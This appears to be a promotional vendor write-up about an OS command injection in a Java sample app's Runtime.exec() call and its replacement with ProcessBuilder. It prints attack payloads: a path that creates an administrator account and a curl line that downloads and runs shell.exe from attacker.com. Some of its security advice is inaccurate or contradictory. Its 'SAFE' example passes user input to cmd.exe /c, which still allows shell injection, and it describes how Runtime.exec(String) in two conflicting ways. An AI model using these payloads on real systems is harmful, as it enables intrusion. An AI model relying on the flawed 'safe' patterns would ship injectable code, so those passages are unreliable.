How command injection happens in Java Runtime.exec() and how to fix it
Summary
A critical OS command injection vulnerability (CWE-78) was discovered in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java at line 81, where a single-string invocation of Runtime.getRuntime().exec() passed a concatenated command directly to the Windows shell. An attacker who controls the applicationFile value could chain arbitrary OS commands. The fix replaces this dangerous pattern with a ProcessBuilder using absolute executable paths and discrete argument elements, eliminating shell interpretation entirely.
Introduction
The page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java file is responsible for launching a sample web application as part of a Page Object pattern demonstration. Its main() method attempts to open the application file using java.awt.Desktop and, when that isn't supported (notably on Windows), falls back to a shell command. That fallback — a single line at line 81 — introduced a critical OS command injection vulnerability:
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);
This pattern is deceptively simple and looks harmless at first glance. But for any developer who has ever used Runtime.exec() in Java, it carries a subtle and dangerous trap: when you pass a single String to exec(), the JVM does not tokenize it for you safely. On Windows, it hands the entire string to cmd.exe for shell interpretation — and shell interpreters understand metacharacters like &, |, &&, and ||.
What makes this finding especially significant is that the same vulnerable pattern was independently reproduced in a sibling file, indicating a copy-paste propagation of the insecure code. Two separate files, two independently exploitable injection points, double the attack surface.
The Vulnerability Explained
What goes wrong with Runtime.exec(String)
Java's Runtime.exec(String command) overload splits the string on whitespace and passes it to the OS. On Windows, this means invoking cmd.exe — a full-featured shell interpreter. The critical distinction is between these two forms:
Vulnerable (single string — shell interprets everything):
// Line 81 — BEFORE the fix
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);
Safe (tokenized array — no shell interpretation):
new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", "start", applicationFile.getAbsolutePath());
In the vulnerable form, if applicationFile is a File object whose path is derived from external input (e.g., a configuration file, a URL parameter, or a CLI argument), an attacker can craft a path like:
C:\legitimate\app.html & net user hacker P@ssw0rd /add & net localgroup Administrators hacker /add
When this is concatenated into the command string and passed to cmd.exe, the shell sees three separate commands separated by & and executes all of them with the privileges of the Java process.
A concrete attack scenario
Imagine this application is deployed as part of a CI/CD pipeline or a testing harness where the applicationFile path is derived from a test configuration file that a developer (or a malicious pull request) can modify. An attacker submits a PR that changes the application path to:
target/app.html & curl https://attacker.com/shell.exe -o C:\Windows\Temp\shell.exe & C:\Windows\Temp\shell.exe
When the test harness runs App.main(), the shell executes all three commands: it opens the legitimate file, downloads a remote payload, and executes it — all in one line, all because of a single-string exec() call.
Why this appeared in two files
The vulnerability was flagged as V-001 in page-object/src/main/java/com/iluwatar/pageobject/App.java and as V-002 in page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java. The identical pattern in two separate subdirectories is a textbook example of copy-paste vulnerability propagation. When insecure code is duplicated without security review, the risk multiplies with each copy.
The Fix
Before and After
The fix at line 81 replaces the single-string Runtime.exec() call with a platform-aware ProcessBuilder that:
- Detects the operating system using
System.getProperty("os.name") - Uses absolute paths to the shell executable (preventing PATH hijacking)
- Passes each argument as a discrete list element (preventing shell metacharacter injection)
Before (vulnerable):
// java Desktop not supported - above unlikely to work for Windows so try instead...
Runtime.getRuntime().exec("cmd.exe start " + applicationFile);
After (fixed):
var os = System.getProperty("os.name").toLowerCase(Locale.ROOT);
ProcessBuilder pb;
if (os.contains("win")) {
// Standard Windows location since Windows NT
pb =
new ProcessBuilder(
"C:\\Windows\\System32\\cmd.exe",
"/c",
"start",
applicationFile.getAbsolutePath());
} else if (os.contains("mac")) {
// Standard macOS location for 'open' command
pb = new ProcessBuilder("/usr/bin/open", applicationFile.getAbsolutePath());
} else {
// Standard Linux desktop location for xdg-open
pb = new ProcessBuilder("/usr/bin/xdg-open", applicationFile.getAbsolutePath());
}
pb.start();
Why each change matters
| Change | Security Benefit |
|---|---|
ProcessBuilder with argument list instead of Runtime.exec(String) |
Arguments are passed directly to the OS without shell interpretation — metacharacters like &, \|, ; are treated as literal characters |
Absolute path C:\Windows\System32\cmd.exe instead of cmd.exe |
Prevents PATH hijacking attacks where a malicious cmd.exe is placed earlier in the %PATH% |
applicationFile.getAbsolutePath() as a separate argument |
The file path is a discrete argument, not part of the command string, so it cannot break out of its argument boundary |
Locale.ROOT in .toLowerCase() |
Avoids locale-sensitive string comparison bugs (e.g., the Turkish locale where "I".toLowerCase() produces "ı", not "i") |
| Cross-platform OS detection | Correct platform-specific launchers (/usr/bin/open on macOS, /usr/bin/xdg-open on Linux) with hardcoded absolute paths |
The addition of import java.util.Locale is also notable — it's a small import that enables the locale-safe toLowerCase(Locale.ROOT) call, preventing a subtle but real class of internationalization bugs in security-sensitive string comparisons.
Prevention & Best Practices
1. Never use the single-string form of Runtime.exec() with external input
The Java documentation itself warns about this. Always prefer the array or List<String> form:
// UNSAFE — shell interprets the entire string
Runtime.getRuntime().exec("cmd.exe /c " + userInput);
// SAFE — OS receives discrete arguments, no shell interpretation
new ProcessBuilder("C:\\Windows\\System32\\cmd.exe", "/c", userInput).start();
2. Prefer ProcessBuilder over Runtime.exec()
ProcessBuilder is the modern Java API for spawning processes. It gives you explicit control over the argument list, working directory, environment variables, and I/O streams. Use it by default.
3. Use absolute paths for executables
Hardcoding /usr/bin/xdg-open instead of xdg-open prevents PATH injection, where an attacker places a malicious binary earlier in the search path. This is especially important in environments where the PATH variable might be influenced by user configuration.
4. Validate file paths before use
Even with ProcessBuilder, it's good practice to validate that applicationFile points to an expected location:
Path resolved = applicationFile.toPath().toRealPath();
Path allowedBase = Path.of("/expected/app/directory");
if (!resolved.startsWith(allowedBase)) {
throw new SecurityException("File path outside allowed directory: " + resolved);
}
5. Apply the principle of least privilege
If the application doesn't need to launch arbitrary files, don't give it the capability. Run the JVM process with the minimum OS privileges required.
6. Use static analysis to catch this pattern early
- SonarQube: Rule
S5304(andS2076) flagsRuntime.exec()with concatenated strings - Semgrep: Rules for
runtime-exec-injectionin the Java ruleset - SpotBugs:
COMMAND_INJECTIONdetector - Orbis AppSec: Automated AI-powered detection with automatic PR generation (as demonstrated here)
OWASP Reference
This vulnerability maps directly to OWASP A03:2021 – Injection and is described in detail in the OWASP OS Command Injection Defense Cheat Sheet.
Key Takeaways
Runtime.getRuntime().exec(String)with concatenated input is always dangerous in Java — the single-string form invokes shell interpretation on Windows, turning any user-controlled segment into a potential command injection vector.- Copy-paste propagation doubles your risk — the same vulnerable pattern appeared in two separate files (
page-object/src/andpage-object/sample-application/src/), creating two independently exploitable injection points. Every copy of insecure code is a new vulnerability. - Absolute executable paths are a defense-in-depth measure — using
C:\Windows\System32\cmd.exeinstead ofcmd.exeprevents PATH hijacking even if the process environment is compromised. applicationFile.getAbsolutePath()as a discrete argument — passing the file path as a separateProcessBuilderargument, not as part of the command string, is what actually prevents the injection; the shell never sees the path as something to interpret.Locale.ROOTmatters in security comparisons — the locale-safe lowercase conversion prevents subtle bugs in OS detection logic that could cause the wrong (potentially less secure) code branch to execute on certain international systems.
How Orbis AppSec Detected This
- Source: The
applicationFilevariable passed intoApp.main(), which can be influenced by external configuration, test harness input, or CLI arguments. - Sink:
Runtime.getRuntime().exec("cmd.exe start " + applicationFile)atpage-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java:81— the single-stringexec()call that passes the concatenated value to the Windows shell interpreter. - Missing control: No sanitization, no argument tokenization, no validation of
applicationFilebefore it was concatenated into the shell command string. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: Replaced
Runtime.exec(String)with aProcessBuilderusing absolute executable paths and discrete argument list elements, eliminating shell interpretation entirely.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The Runtime.getRuntime().exec("cmd.exe start " + applicationFile) pattern in App.java is a textbook example of how a well-intentioned fallback code path can introduce a critical security vulnerability. The fix is clean, cross-platform, and idiomatic Java — but the real lesson is that this pattern is easy to miss in code review and easy to copy into new files without realizing the risk.
For Java developers: treat Runtime.exec(String) the same way you'd treat eval() in JavaScript or string.Format in a SQL query — as a pattern that demands immediate scrutiny whenever external data is involved. Default to ProcessBuilder with a tokenized argument list, use absolute paths for executables, and let static analysis tools catch these patterns before they reach production.
Security is often about the small decisions — a single string concatenation, a missing import, a copied code snippet — that compound into critical vulnerabilities. The fix here is 20 lines replacing 1, and every one of those lines makes the application measurably safer.